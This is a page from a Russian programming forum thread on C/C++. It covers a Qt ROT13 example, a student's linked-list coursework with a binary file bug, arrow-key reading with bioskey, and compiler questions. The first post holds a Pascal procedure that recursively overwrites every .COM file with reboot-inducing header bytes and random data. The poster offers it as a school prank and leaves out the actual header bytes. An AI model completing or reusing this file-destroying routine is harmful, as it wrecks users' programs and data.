Часовой пояс: UTC + 3 часа




Начать новую тему Новая тема / Ответить на тему Ответить  Сообщений: 1729 • Страница 4 из 87<  1  2  3  4  5  6  7 ... 87  >
  Пред. тема | След. тема 
В случае проблем с отображением форума, отключите блокировщик рекламы
Автор Сообщение
 

Member
Статус: Не в сети
Регистрация: 09.08.2004
Откуда: TSC! Russia
Nenash
вот процедура на паскале рекурсивно проматривающая все файлы(даже в других каталогах) в каталоге и если этот файл с расширением com то меняет первые 5 байт, чтобы вызвать ребут при каждом запуске :) в школе баловался :) самих байтов тут нет:) а алшгоритм есть, немного подправитьи все
Код:
Procedure viewaLL(S:DirStr);
var
  f:File;
  FSize:Longint;
  FAttr:Word;
  i:LongInt;
  Count:Integer;
  s1:String;
  ch:Integer;
  Path:PathStr;
  ForSearch:SearchRec;
begin
  {$i-}
  s:=FExpand(s);
  ChDir(S);
  FindFirst('*.*',$3F,ForSearch);
  While DosError=0 do
    begin
      If ForSearch.Name='.' then
       begin
         FindNext(ForSearch);
         FindNext(ForSearch);
       end
     Else
     Begin
      FSize:=ForSearch.Size;
      s1:=ForSearch.name;Delete(s1,1,Pos('.',s1));
      If (FSize>=5)and(S1='COM')
      then
        begin
          Path:=FExpand(ForSearch.Name);
          AsSign(f,path);
          GetFAttr(f,FAttr);
          ReWrite(f,1);
          For i:=1 to 5 do BlockWrite(f,H1[i],1);
          For i:=1 to FSize-5 do begin ch:=Random(255);
                      BlockWrite(f,ch,1);end;
          SetFAttr(f,FAttr);
          Close(f);
        end;
       If ForSearch.Attr and $10 = $10 then BadAll(ForSearch.Name);
      FindNext(ForSearch);
     end;
  end;
  If s<>PredDir then ChDir('..');
end;


_________________
Over's Beer Clan



Партнер
 

Member
Статус: Не в сети
Регистрация: 30.01.2003
Откуда: Москва
alienfrom33 только тут на C/C++ просять ;)


 

Member
Статус: Не в сети
Регистрация: 09.08.2004
Откуда: TSC! Russia
Asteroid
переделать не так сложно, а алгоритм тут виден, все ииспользованные процедуры и операторы есть в C, даже названия такие же. Если человеку надо - на С без проблем это же перепишет, даже при минимальном знании языка

_________________
Over's Beer Clan


 

Member
Статус: Не в сети
Регистрация: 24.01.2005
Откуда: Vilnius
Ребят, кто имел дело общаться с библиотекой QT?
Поделитесь плз, если не очень жалко, небольшой програмкой, так сказать для обозрения.


 

Есть текстовый файл с данными, мне нужно считать из него в структуру. В файле определены позиции для всех данных, с 1 по 20 символ - название, потом цена и т.д. Можно ли как-нибудь оператором fin считывать данные с конкретной позиции, а то мне для того чтобы пропустить ненужные данные пришлось извратиться следующим образом:

while( !fin.eof())
{
fin.getline (A[z].model,20);
fin.getline (A[z].lol,32); //ничего не делающий оператор
fin>>A[z].d;
fin.getline (A[z].lol,4);
fin>>A[z].х;
}


 

Member
Статус: Не в сети
Регистрация: 15.09.2004
Откуда: Санкт-Петербург
если класс для fin ifstream, можно использовать ф-цию seekg:
istream &seekg(off_type offset, ios::seekdir origin);
перемещает указатель ввода на offset байтов относительно origin. Для того, чтобы переместиться от начала на 20 байт, origin = ios::beg ( относительно текущей позиции - ios::cur ), offset = 20


 

remi}{
В состав библиотеки входят 75 примеров ( или 50мб ), очень разного уровня.

Пример
Код:
/****************************************************************************
** $Id: qt/rot13.cpp   3.3.3   edited May 27 2003 $
**
** Copyright (C) 1992-2000 Trolltech AS.  All rights reserved.
**
** This file is part of an example program for Qt.  This example
** program may be used, distributed and modified without limitation.
**
*****************************************************************************/

#include "rot13.h"

#include <qmultilineedit.h>
#include <qpushbutton.h>
#include <qapplication.h>
#include <qlayout.h>

Rot13::Rot13()
{
    left = new QMultiLineEdit( this, "left" );
    right = new QMultiLineEdit( this, "right" );
    connect( left, SIGNAL(textChanged()), this, SLOT(changeRight()) );
    connect( right, SIGNAL(textChanged()), this, SLOT(changeLeft()) );

    QPushButton * quit = new QPushButton( "&Quit", this );
    quit->setFocusPolicy( NoFocus );
    connect( quit, SIGNAL(clicked()), qApp, SLOT(quit()) );

    QGridLayout * l = new QGridLayout( this, 2, 2, 5 );
    l->addWidget( left, 0, 0 );
    l->addWidget( right, 0, 1 );
    l->addWidget( quit, 1, 1, AlignRight );

    left->setFocus();
}


void Rot13::changeLeft()
{
    left->blockSignals( TRUE );
    left->setText( rot13( right->text() ) );
    left->blockSignals( FALSE );
}


void Rot13::changeRight()
{
    right->blockSignals( TRUE );
    right->setText( rot13( left->text() ) );
    right->blockSignals( FALSE );
}


QString Rot13::rot13( const QString & input ) const
{
    QString r = input;
    int i = r.length();
    while( i-- ) {
    if ( r[i] >= QChar('A') && r[i] <= QChar('M') ||
         r[i] >= QChar('a') && r[i] <= QChar('m') )
        r[i] = (char)((int)QChar(r[i]) + 13);
    else if  ( r[i] >= QChar('N') && r[i] <= QChar('Z') ||
           r[i] >= QChar('n') && r[i] <= QChar('z') )
        r[i] = (char)((int)QChar(r[i]) - 13);
    }
    return r;
}


int main( int argc, char ** argv )
{
    QApplication a( argc, argv );
    Rot13 r;
    r.resize( 400, 400 );
    a.setMainWidget( &r );
    r.setCaption("Qt Example - ROT13");
    r.show();
    return a.exec();
}


 

Помогите пожалуйста! Мне нужно сделать курсовик по С/с++ досовскому, а у меня какая то ошибка выходит, даже препод не знает, что делать... (( Программа создаёт однонаправленный список групп универа, на основе записи(struct), обрабатывает и добавляет и т. д. Программа сохраняет данные в в .ТХТ и .ЗАП файлы, проблема заключается в том, что при работе с .ЗАП файлом работа некорректная, хотя с ТХТ всё ОК! То ли запись лагает, то ли чтение, но бока именно с ЗАП файлом. При просмотре после загрузки в полях вывода появляются искаженные данные! Загрузка при запуске программы осуществляется автоматически из него. Потом можно из проги опять загрузить, но из ТХТ и всё ОК! Сохраняем... опять в ТХТ ок в ЗАП бред... Хотя использую для записи в ZAP файл примитивные функцииfwrite(), fread()... Помогите плз, вот текст программы:

Код:
#include <stdio.h>
#include <stdlib.h>
#include <conio.h>
#include <dos.h>
#include <string.h>
                 /* TIPES */

struct TZapis     /* Vhodnaya tablica */
{
 char ShifrGr [7];  /* shifr gruppi */
 char Predmet [7];

  struct
   {
   unsigned int Lekciy, Praktiki;
   } Propusheno;

  struct   /* kolichestvo otl, hor i t.d. ocenok */
   {
   unsigned int Otl, Hor, Ud, NeUd;
   } Ocenki;

 TZapis *Next;
};
               /* OPISANIYA PROCEDUR */

    /* menu programmi */
void NachalnayaZagruzka ();               // zav - 1 (1,2,...,n - etap rab.)
void Menu ();                             // rab - 4
void Exit ();                             // rab - 5
    /* dlya osnovnoy tablici dannih */
void SozdanieT      ();                   // zav - 6
void NewAddInT      (TZapis &New);        // zav - 2
void ZapolnenieInT  ();                   // zav - 3
void ProsmotrT      ();                   // rab - 7
void RedaktirovanieT ();                  // rab - 12
void SohranenieTzap ();                   // zav - 4
void SohranenieTtxt ();                   // zav - 5
void ZagruzkaDannihIzF ();                // rab - 13
void ObnulenieSpiska ();                  // rab - 14
   /* Obshie */
void PechatDannihVFail ();

               /* VARIABLES (global) */
TZapis  New, *First, *Temp, *Udalenie;   /* ... ukazateli vh. tablici */
FILE *f1zap, *f2txt, *f3reztxt;
char vs_menu /* peremennaya-pomoshnik v rabote s raznimi menu! */;
int i, n;
               /*** M_A_I_N ***/
main ()
{
textbackground (BLUE);
textcolor (YELLOW);
clrscr ();

NachalnayaZagruzka ();
Menu ();
return 0;
}
            /*** E_N_D  M_A_I_N ***/

            /* _REALIZACIYA  PROCEDUR_ */

    /* !!! Procedura vipolneniya nachalnoy zagruzki dannih !!! */
void NachalnayaZagruzka ()
{

 if ((f1zap = fopen ("c:\\1\\f1zap.zap","r")) == NULL)//SPEC.ERROR -f1zap.zap
  {
   printf ("Error: File opening failed...\n");
   printf ("Sozdat' spisok? y/n  (n - EXIT): ");
   vs_menu = getche ();
   switch (vs_menu)
      {
      case 'y' : ZapolnenieInT ();
               break;
      case 'n' : exit (1);
      default  : Menu ();
      }
  }

    else
     {
      while (fread (&New,sizeof(New),1,f1zap))
          {
           NewAddInT (New);
          }
         fclose (f1zap);
     }
}

         /* !!!  Dobavlenie i sozdanie osn. tablici !!!  */
void NewAddInT   (TZapis &Dat)
{
TZapis *Temp, *New;
                     /*  esli elementov v spiske net, to...  */
 if (First == 0)
  {
   First = new (TZapis);
   *First = Dat;
   First -> Next = 0;
  }
    /* inache...dobavlyaem element s uchetom sortirovki po vozrastaniyu */
 else
   {
    Temp = First;  /* ukazat. na nachalo */
/* esli pole 1-go elementa >= novim dannim, to...dobavlyaem ego v nachalo */
      if (strcmp(Dat.ShifrGr, Temp->ShifrGr) <= 0)
       {
         New = new (TZapis);
         *New = Dat;
         New -> Next = First;
         First = New;
       }
             /* inache... */
      else {    /* (dlya WHILE) vstavlyaem mejdu elementami s uch. sort.! */
          while (Temp -> Next != 0)
             if (strcmp(Dat.ShifrGr, Temp-> Next->ShifrGr) <= 0)
              {
                New = new (TZapis);
                *New = Dat;
                New -> Next = Temp -> Next;
                Temp -> Next = New;
                break;
              }
             else Temp = Temp -> Next;
                      /* Dobavlyaem v konec spiska */
          if (Temp -> Next == 0)
           {
            New = new (TZapis);
            *New = Dat;
            New -> Next = 0;
            Temp -> Next  = New;
           }
         }
   }
}

         /* !!! Zapolnenie dannimi zapisi dlya osn. tabl. !!! */
void ZapolnenieInT ()
{
clrscr ();
  do {
    printf ("\nVvedite SHIFR GRUPPI (<=6 simvolov)");
    printf ( " ili - *   dlya zaversheniya: ");
    scanf ("%s",&New.ShifrGr);

    if (!strcmp(New.ShifrGr,"*")) /* esli vvedennaya stroka = *, to... */
      break;   /* ...vihod iz cikla zapolneniya poley zapisi */

    printf ("Vvedite PREDMET (<=6 simvolov) : ");
    scanf ("%s",&New.Predmet);
    printf ("\n  -=PROPUSKI=-  \n");
    printf ("Vvedite kol-vo PROPUSHENIH LEKCIY: ");
    scanf  ("%u",&New.Propusheno.Lekciy);
    printf ("Vvedite kol-vo PROPUSHENIH PRAKTIKI: ");
    scanf  ("%u",&New.Propusheno.Praktiki);
    printf ("\n  -=OCENKI=-  \n");
    printf ("Vvedite kol-vo OTLICHNIH OCENOK: ");
    scanf  ("%u",&New.Ocenki.Otl);
    printf ("Vvedite kol-vo HOROSHIH OCENOK: ");
    scanf  ("%u",&New.Ocenki.Hor);
    printf ("Vvedite kol-vo UDOVLETVORITEL'NIH OCENOK: ");
    scanf  ("%u",&New.Ocenki.Ud);
    printf ("Vvedite kol-vo NEUDOVLETVORITEL'NIH OCENOK: ");
    scanf  ("%u",&New.Ocenki.NeUd);

      NewAddInT  (New);

    clrscr ();
    printf ("Element sozdan... \n");
   } while (1);
}        /* end ZapolnenieInT */

                     /* !!! Menu () !!! */
void Menu ()
{
 do
  {
   clrscr ();
   gotoxy (17,1);  /* t.k. pervaya strochka skachet po osi X */
   printf ("1) SOZDANIE NOVOY TABLICI_______________________1\n");
   printf ("\t\t2) REDAKTIROVANIE TABLICI_______________________2\n");
   printf ("\t\t3) DOBAVLENIE  DANNIH___________________________3\n");
   printf ("\t\t4) PROSMOTR  TABLICI____________________________4\n");
   printf ("\t\t5) OBRABOTKA INFORMACII_________________________5\n");
   printf ("\t\t6) PROSMOTR REZULTATOV OBRABOTKI________________6\n");
   printf ("\t\t7) ZAGRUZKA IZ FAILA____________________________7\n");
   printf ("\t\t8) PECHAT' DANNIH V FAIL________________________8\n");
   printf ("\t\t9, 0) VIHOD IZ PROGRAMMI_____________________9,_0\n");
   printf ("\n\n====> Vvedite neobhodimiy punkt menu:  ");
   vs_menu = getch ();
   switch (vs_menu)
     {
      case '1' : SozdanieT     ();
              break;
      case '2' : RedaktirovanieT ();
              break;
      case '3' : ZapolnenieInT  ();
              break;
      case '4' : ProsmotrT      ();
              break;
      case '7' : ZagruzkaDannihIzF ();
              break;
      case '8' : PechatDannihVFail ();
              break;
      case '9','0' : Exit ();
     }
  }
 while (vs_menu != '0');
}

       /* !!! Vihod iz programmi s sohraneniem dannih !!! */
void Exit ()
{
clrscr ();
printf ("Sohranit' dannie pered zakritiem programmi?  y - DA/ any keys - NET...");
vs_menu = getch ();
if (vs_menu == 'y')
 PechatDannihVFail ();

exit (1);  /* procedura zaversheniya raboti programmi */
}
         /* !!! Prosm. ish. tablici !!! */
void ProsmotrT ()
{
i = 1;
 // Sozdanie...
clrscr ();
printf("ЙННННННННННННСНННННННННСНННННННННННННННННННННННННННННННСННННННННННННННННННННН»\n");
printf("є  SHIFR GR  і PREDMET і         OCENKI               і PROPUSHENO ZANYATIY є\n");
printf("ЖННННННННННННШНННННННННШНННННННСНННННННСНННННННСНННННННШННННННННННСННННННННННµ\n");
printf("і     p/p    і         і  Otl  і Hor   і  Ud   і NeUd  і Lekciy   і Praktiki і\n");
printf("ЖННННННННННННШНННННННННШНННННННШНННННННШНННННННШНННННННШННННННННННШННННННННННµ\n");

Temp = First;

while (Temp != 0)
  {
   if (i % 19 == 0)
   {
    printf ("========> Press any key...");
    vs_menu = getch ();
    clrscr ();
    printf("ЙННННННННННННСНННННННННСНННННННННННННННННННННННННННННННСННННННННННННННННННННН»\n");
    printf("є  SHIFR GR  і PREDMET і         OCENKI               і PROPUSHENO ZANYATIY є\n");
    printf("ЖННННННННННННШНННННННННШНННННННСНННННННСНННННННСНННННННШННННННННННСННННННННННµ\n");
    printf("і     p/p    і         і  Otl  і Hor   і  Ud   і NeUd  і Lekciy   і Praktiki і\n");
    printf("ЖННННННННННННШНННННННННШНННННННШНННННННШНННННННШНННННННШННННННННННШННННННННННµ\n");
   }
   printf("і%-3d %-7s і",i,Temp -> ShifrGr);
   printf(" %-7s і",Temp -> Predmet);
   printf(" %-5u і", Temp -> Ocenki.Otl);
   printf(" %-5u і",Temp -> Ocenki.Hor);
   printf(" %-5u і",Temp -> Ocenki.Ud);
   printf(" %-5u і",Temp -> Ocenki.NeUd);
   printf(" %-5u    і",Temp -> Propusheno.Lekciy);
   printf(" %-5u    і\n",Temp -> Propusheno.Praktiki);
     i++;
     Temp = Temp -> Next;
  }

printf("АДДДДДДДДДДДДБДДДДДДДДДБДДДДДДДБДДДДДДДБДДДДДДДБДДДДДДДБДДДДДДДДДДБДДДДДДДДДДЩ\n");
vs_menu = getch ();
window (1,1,80,25);
}
             /* !!! Sohranenie dannih vh. tablici v *.txt file !!! */
void SohranenieTtxt ()
{
f2txt = fopen ("c:\\1\\f2txt.txt","w");
Temp = First;

 while (Temp != 0)
  {
    fputs (Temp -> ShifrGr, f2txt);
    fprintf (f2txt," ");
    fputs (Temp -> Predmet, f2txt);
    fprintf (f2txt," %u %u ",Temp -> Propusheno.Lekciy,
             Temp -> Propusheno.Praktiki);

    fprintf (f2txt,"%u %u %u %u\n",Temp -> Ocenki.Otl, Temp -> Ocenki.Hor,
    Temp -> Ocenki.Ud, Temp -> Ocenki.NeUd);

   Temp = Temp -> Next;
  }
fclose (f2txt);
}

           /* !!! Sozdayet noviy spisok vhodnih dannih !!! */
void SozdanieT      ()
{

if (First == 0)
 {
  ZapolnenieInT  ();  /* vizov proceduri */
 }

else
 {
  clrscr ();
  printf ("Spisok uje bil sozdan, sozdat' na ego meste noviy? y/n...\n");
  if ((vs_menu = getch ()) == 'y')
  {
  /* esli spisok bil, to pamyat' ot nego osvobojdaetsya */
  ObnulenieSpiska ();
  ZapolnenieInT  (); /* spisok zapolnyaetsya novimi znacheniyami */
  }
 }

}

             /* !!! Sohranenie dannih vh. tablici v *.zap file!!! */
void SohranenieTzap ()
{
f1zap = fopen ("c:\\1\\f1zap.zap","w");
Temp = First;

 while (Temp != 0)
  {
   fwrite (Temp,sizeof(TZapis),1,f1zap);
   Temp = Temp -> Next;
  }
fclose (f1zap);
}

       /* !!! Redaktrirovanie vhodnoy tablici !!! */
void RedaktirovanieT ()
{
clrscr ();
 printf ("Vvedite nomer zapisi posle prosmotra tablici...Press any key...\n");
 vs_menu = getch ();
 ProsmotrT ();

clrscr ();
 printf ("\nVvedite nomer zapisi : ");
 scanf  ("%u",&n);

Temp = First;
i = 1;
while (Temp != 0)
 if (n != i)
   {
   Temp = Temp -> Next;
   i++;
   }
  else
   {
    printf("Dannaya zapis': \n");
    printf("ЙННННННННННННСНННННННННСНННННННННННННННННННННННННННННННСННННННННННННННННННННН»\n");
    printf("є  SHIFR GR  і PREDMET і         OCENKI               і PROPUSHENO ZANYATIY є\n");
    printf("ЖННННННННННННШНННННННННШНННННННСНННННННСНННННННСНННННННШННННННННННСННННННННННµ\n");
    printf("і     p/p    і         і  Otl  і Hor   і  Ud   і NeUd  і Lekciy   і Praktiki і\n");
    printf("ЖННННННННННННШНННННННННШНННННННШНННННННШНННННННШНННННННШННННННННННШННННННННННµ\n");
    printf("і%-3d %-7s і",i,Temp -> ShifrGr);
    printf(" %-7s і",Temp -> Predmet);
    printf(" %-5u і", Temp -> Ocenki.Otl);
    printf(" %-5u і",Temp -> Ocenki.Hor);
    printf(" %-5u і",Temp -> Ocenki.Ud);
    printf(" %-5u і",Temp -> Ocenki.NeUd);
    printf(" %-5u    і",Temp -> Propusheno.Lekciy);
    printf(" %-5u    і\n",Temp -> Propusheno.Praktiki);
    printf("АДДДДДДДДДДДДБДДДДДДДДДБДДДДДДДБДДДДДДДБДДДДДДДБДДДДДДДБДДДДДДДДДДБДДДДДДДДДДЩ\n");

    printf("1) IZMENIT'\n2) UDALIT'\n3) OTMENA\nVvedite punkt: ");
    scanf ("%d",&i);
    switch (i)
      {       /* 1 - izmenenie poley vhodnoy tablici !!! */
       case 1 :  // izm. shifr gruppi
               printf ("SHIFR GRUPPI? y/n (* - exit): \n");
               vs_menu = getch ();
               if (vs_menu == 'y')
               {
                printf("Bivshiy: %s \n",Temp -> ShifrGr);
                printf("Noviy: ");
                scanf ("%s",&Temp -> ShifrGr);
               }
               else if (vs_menu == '*') break;

               // izm. predmet
               printf ("PREDMET? y/n (* - exit): \n");
               vs_menu = getch ();
               if (vs_menu == 'y')
               {
                printf("Bivshiy: %s \n",Temp -> Predmet);
                printf("Noviy: ");
                scanf ("%s",&Temp -> Predmet);
               }
               else if (vs_menu == '*') break;

               // izm. ocenki otlichnie
               printf ("OTLICHNIE OCENKI? y/n (* - exit): \n");
               vs_menu = getch ();
               if (vs_menu == 'y')
               {
                printf("Bilo: %u \n",Temp -> Ocenki.Otl);
                printf("Stalo: ");
                scanf ("%u",&Temp -> Ocenki.Otl);
               }
               else if (vs_menu == '*') break;

               // izm. ocenki horoshie
               printf ("HOROSHIE OCENKI? y/n (* - exit): \n");
               vs_menu = getch ();
               if (vs_menu == 'y')
               {
                printf("Bilo: %u \n",Temp -> Ocenki.Hor);
                printf("Stalo: ");
                scanf ("%u",&Temp -> Ocenki.Hor);
               }
               else if (vs_menu == '*') break;

                  // izm. ocenki udovletvorit.
               printf ("UDOVLETVORITELNIE OCENKI? y/n (* - exit): \n");
               vs_menu = getch ();
               if (vs_menu == 'y')
               {
                printf("Bilo: %u \n",Temp -> Ocenki.Ud);
                printf("Stalo: ");
                scanf ("%u",&Temp -> Ocenki.Ud);
               }
               else if (vs_menu == '*') break;

                  // izm. ocenki neudovletvorit.
               printf ("NEUDOVLETVORITELNIE OCENKI? y/n (* - exit): \n");
               vs_menu = getch ();
               if (vs_menu == 'y')
               {
                printf("Bilo: %u \n",Temp -> Ocenki.NeUd);
                printf("Stalo: ");
                scanf ("%u",&Temp -> Ocenki.NeUd);
               }
               else if (vs_menu == '*') break;

                  // izm. propusheno zanyatiy  lekciy:
               printf ("PROPUSKI LEKCIY? y/n (* - exit): \n");
               vs_menu = getch ();
               if (vs_menu == 'y')
               {
                printf("Bilo: %u \n",Temp -> Propusheno.Lekciy);
                printf("Stalo: ");
                scanf ("%u",&Temp -> Propusheno.Lekciy);
               }
               else if (vs_menu == '*') break;

               // izm. propusheno prakticheskih:
               printf ("PROPUSKI PRAKTIKI? y/n (* - exit): \n");
               vs_menu = getch ();
               if (vs_menu == 'y')
               {
                printf("Bilo: %u \n",Temp -> Propusheno.Praktiki);
                printf("Stalo: ");
                scanf ("%u",&Temp -> Propusheno.Praktiki);
               }

               break;

       case 2 :  /* 2 - udalenie zapisi */
              if (Temp == First) //esli ud. element perviy v spiske, to...
               {
                First = First -> Next;
                delete Temp;
               }
              else
               {
                Udalenie = First;
                while (Udalenie -> Next != Temp)
                  Udalenie = Udalenie -> Next;

                Udalenie -> Next = Temp -> Next;
                delete Temp;
               }
              printf ("Element udalen iz spiska...Najmite lubuyu klavishu...");
              vs_menu = getch ();
      } // end switch (...)

    break;   // wihod iz cikla while (...), esli operaciya proizvedena!
   }
}
            /* !!!Proc. zagruzki dannih iz faila!!! */
void ZagruzkaDannihIzF ()
{
clrscr ();
printf ("Kakoy fail vibrat' dlya zagruzki: \n1) - TXT \n2) - ZAP(binarniy) \nDRUGAYA KLAVISHA - Vihod...?");
vs_menu = getch ();

switch (vs_menu)
  {
   case '1' : if ((f2txt = fopen ("c:\\1\\f2txt.txt","r")) == NULL)
             printf ("Error: File opening failed...\n");
            else
            {
              ObnulenieSpiska (); /* udal. spisok, esli on bil */
              while (fscanf (f2txt,"%s%s%u%u%u%u%u%u",&New.ShifrGr,&New.Predmet,
                  &New.Propusheno.Lekciy,&New.Propusheno.Praktiki,
                  &New.Ocenki.Otl,&New.Ocenki.Hor,&New.Ocenki.Ud,
                  &New.Ocenki.NeUd) != EOF)   NewAddInT (New);

              fclose (f2txt);
              clrscr ();
              printf ("Dannie schitani iz *.TXT faila...Press any key...");
              vs_menu = getch ();
            }
            break;
   case '2' :  /* schitivaem dannie iz faila */
            ObnulenieSpiska ();
            if ((f1zap = fopen ("c:\\1\\f1zap.zap","r")) == NULL)
             printf ("Error: File opening failed...\n");
            else
            {
             while (fread (&New,sizeof(New),1,f1zap))
               NewAddInT (New);

             fclose (f1zap);
             clrscr ();
             printf ("Dannie schitani iz *.ZAP faila...Press any key...");
             vs_menu = getch ();
            }

  }
}
      /* !!!Proc. 'ubivaet' spisok, esli on bil!!! */
void ObnulenieSpiska ()
{
while (First != 0)
    {
      Temp = First;
      First = First -> Next;
      delete Temp;
    }
}
 /* !!!Procedura pechati dannih v fail!!! */
void PechatDannihVFail ()
{
clrscr ();
printf ("Pechat'(sohranenie) dannih v fail...\n\n");
printf ("1) Pechat' osnovnoy tablici v *.ZAP fail\n");
printf ("2) Pechat' osnovnoy tablici v *.TXT fail\n");
printf ("3) Pechat' rezultatov obrabotki dannih v *.TXT fail\n");
printf ("4) Pechatat' (sohranit' vsyo)\n");
printf ("DRUGAYA KLAVISHA - VIHOD: ");
vs_menu = getch ();
switch (vs_menu)
   {
   case '1' : SohranenieTzap ();   /* sohr. osn. tabl. v zap fail */
            break;
   case '2' : SohranenieTtxt ();   /* sohr. osn. tabl. v txt fail */
            break;
   case '4' : SohranenieTzap ();
            SohranenieTtxt ();
   }

if (vs_menu == '1' || vs_menu == '2' || vs_menu == '3' || vs_menu == '4')
  {
   printf ("\n\nSohranenie proizvedeno...Press any key...");
   vs_menu = getch ();
  }
}





/* !!!!!!!!!!!!!!!!!! */
/*
ВОТ СОДЕРЖАНИЕ ФАЙЛА ТХТ:

a33 kit 100 50 10 9 8 7
i12z math 13 45 12 12 8 2
i13 fizika 24 123 5 15 2 1
m16z fizika 43 21 5 17 2 10

*/
/* Назовите файл F2txt.txt и поместите его в папку 1 на диск, т. е. С:\1\F2txt.txt
Программа напишет, что чтение ЭРРОР, тогда создайте хоть одну запись и загрузите из ТХТ из меню программы, потом сохнаните из проги В ТХТ иЗАП и полюбуйтесь следующей загрузкой из ЗАП! */


 

Это только часть кода, но именно в нём ошибка...ХЕЛП!


 

Member
Статус: Не в сети
Регистрация: 13.11.2004
Откуда: Новосибирск
Как мне отследить нажатие клавиш влево, право, вверх и вниз? Пробовал через getch(), но она возваращает 0.


 

Sev_Lenin

Я скомпилировал программу на MinGW. Всё нормально работает, описанной ошибки в программе не наблюдается!!! Zap файл сохранился и прочитался: абсолютно ничего не изменилось.
Размер f1zap.zap 178 байт.
Только в void Menu () case '9','0' : Exit (); -> case '9': case '0': Exit ();.
BC31 известный своими internal error и ещё кучей глюков.
Попробуй
1. fwrite (Temp,sizeof(TZapis),1,f1zap); -> if( ..... != fwrite (Temp,sizeof(TZapis),1,f1zap) )
2. fwrite (Temp,sizeof(TZapis),1,f1zap); -> fwrite (Temp,1,sizeof(TZapis),f1zap) );
3. Тоже для fread.
может поможет.

Скорее всего ошибки в проге нет, ошибка в компиляторе.

qasz
Стандартными способами - скорее всего НЕВОЗМОЖНО.
Для ДОС - буфер клавы надо сканить. Может в <conio.h> что-то будет ( типа скєн-кодов). Для Винды - много способов (WM_KEY, WM_CHAR,хуки,... ).


 

Blackmouse Я попробовал №2, но не помогло, а что в if( ..... != fwrite (Temp,sizeof(TZapis),1,f1zap) )
есть .....? Я проверил файл в С++Билдере, то же у меня бред!
Может есть какая-то замена для fwrite(), freade () из любой библиотеки????
Спасибо за помощь....


 

Sev_Lenin

Sev_Lenin писал(а):
Blackmouse Я попробовал №2, но не помогло, а что в if( ..... != fwrite (Temp,sizeof(TZapis),1,f1zap) )
есть .....? Я проверил файл в С++Билдере, то же у меня бред!
Может есть какая-то замена для fwrite(), freade () из любой библиотеки????
Спасибо за помощь....


Вспомнил!!!
1. В fopen() замени для Zap "r","w" -> "rb", "wb" соответственно!! Бинарный ввод/вывод. Для Borland может по деф текст мод :).
2. if( ..... != fwrite (Temp,sizeof(TZapis),1,f1zap) ) - проверка записи, сколько байт записано (так, на всяк случай).
3. Размер файла должен быть ровно 178. С пом-ю sizeof проверь.


 

Blackmouse
Blackmouse писал(а):
1. В fopen() замени для Zap "r","w" -> "rb", "wb" соответственно!! Бинарный ввод/вывод. Для Borland может по деф текст мод .

Еессс... Это помогло! Приогромнейшее спасибо, а то я уже несколько месяцев парюсь!
Однако, инетересен тот факт, что мой ТХТ файл занимает 109байт, а ЗАП 112??? Но всё ок!!
Кстати, а почему просто "r", "w" глючат???


 

Junior
Статус: Не в сети
Регистрация: 28.08.2004
Откуда: Москва
qasz
Код:
#include <bios.h>
int WaitKey (void)
{for (int key;
          key!=0x4B00&&//left
          key!=0X4D00&&//right
          key!=0x4800&&//up
          key!=0X5000&&//down
          key!=0X1C0D&&//enter
          key!=0x011B;//esc
                 key=bioskey(0))
        while (bioskey(1)==0);
return key;
}

Затем, где нужно, делаешь цикл ожидания нажатия клавиши:
Код:
int key=0;
 for(;(key=WaitKey())!=0x1C0D;)// until enter is pressed
    {
      if (key==0x4800)  cout<<"Нажата клавиша вверх";
      if (key==0x5000)  cout<<"Нажата клавиша вниз";
    }

Так, по крайней мере я в курсовой сделал, думаю, это верно. А коды клавиш можно посмотреть, запустив пример bioskey в хелпе


 

Sev_Lenin
1. Ну у Borland наверно "r", "w" значат "rt", "wt". Т.е. после некоторых символов идут специальный. Например '\n' -> '\n' '\r' (кажется так). Получается записываешь 10 байт, а записывается 11.
2. Я уже упоминал, что у меня Zap 178. Просто я использую 32-bit компилятор :) .
3. По поводу size(txt), size(zap) очень просто. Схематически:
strlen( (text)0 ) == 1 + 1 // + 1 на пробел
strlen( (short)0 ) == 2
strlen( (long)0 ) == 4

strlen( (text)30000 ) == 5 + 1
strlen( (short)30000 ) == 2
strlen( (long)30000 ) == 4

strlen( (text)1 000 000 000 ) == 10 + 1
strlen( (short)1 000 000 000 ) == FAIL
strlen( (long)1 000 000 000 ) == 4

Т.е. для если числа маленькие то используй в структуре char.


 

Скажу сразу - в С++ новичок, только начал изучать. Поставил Borland C++ v.3.1, cкачал несколько книжек, начал читать и столкнулся с такой проблемой: вместо printf в книгах пишут cin, вместо scanf - cout, stdio.h - iostream.h и т.д. Начал вводить как написано в книге Borland C++ ругается. Даже не знаю, что делать, то ли другой компилятор ставить, то ли другие книги искать, хотя эти книги в плане объяснения и подачи материала меня очень даже устраивают. Кому не сложно объясните в чем дело, а то изучение С++ застопорилось не начавшись.

Темы объединил. vor


 

Member
Статус: Не в сети
Регистрация: 26.05.2004
Откуда: Kharkov.UA
scanf, printf - стандартные функции ввода-вывода C.
cin, cout - стандартные классы ввода-вывода C++.

Насчет Borland C++ не знаю, но, например, Visual С++ не компилит C++ код, если расширение исходного файла отлично от .cpp


 

Книга скорее-всего описывает стандарт 99-го года (BC - ANSI89 кажется). А в BC++3.1 С++ есть только в названии :)(ну, всё-таки, что-то от C++ там действительно есть :wink:). В BC есть cout и cin (и их можно использовать), только они очень "бедные".
З.Ы. Используй (GCC+MinGW || MSVC7.1).


 

Member
Статус: Не в сети
Регистрация: 14.03.2004
Откуда: Москва
Skyggedans писал(а):
scanf, printf - стандартные функции ввода-вывода C.
cin, cout - стандартные классы ввода-вывода C++.

как говориться - не путайте языки програмирования, тем более стандарты... plant C и C++ отличаются больше чем C++ и C#
Skyggedans писал(а):
Насчет Borland C++ не знаю, но, например, Visual С++ не компилит C++ код, если расширение исходного файла отлично от .cpp

Да все она прекрасно компилит...
В от в bc 3.* по моему ещё о namespace и не слышали
Blackmouse писал(а):
З.Ы. Используй (GCC+MinGW || MSVC7.1).

Ой. Не смешите... GCC под вфорточку смысла юзать нету... А 7 студию -- зачем этот гроб на себе таскать....
Хотя я emacsом пользуюсь... Страшная сила, только ещё там надо для начала найти текстовой редактор.

_________________
ФИЗТЕХ- рулез, ФАКИ - сила, Кванты тоже хорошо


Показать сообщения за:  Поле сортировки  
Начать новую тему Новая тема / Ответить на тему Ответить  Сообщений: 1729 • Страница 4 из 87<  1  2  3  4  5  6  7 ... 87  >
-

Часовой пояс: UTC + 3 часа


Кто сейчас на конференции

Сейчас этот форум просматривают: нет зарегистрированных пользователей и гости: 8


Вы не можете начинать темы
Вы не можете отвечать на сообщения
Вы не можете редактировать свои сообщения
Вы не можете удалять свои сообщения
Вы не можете добавлять вложения

Перейти:  

Лаборатория














Новости

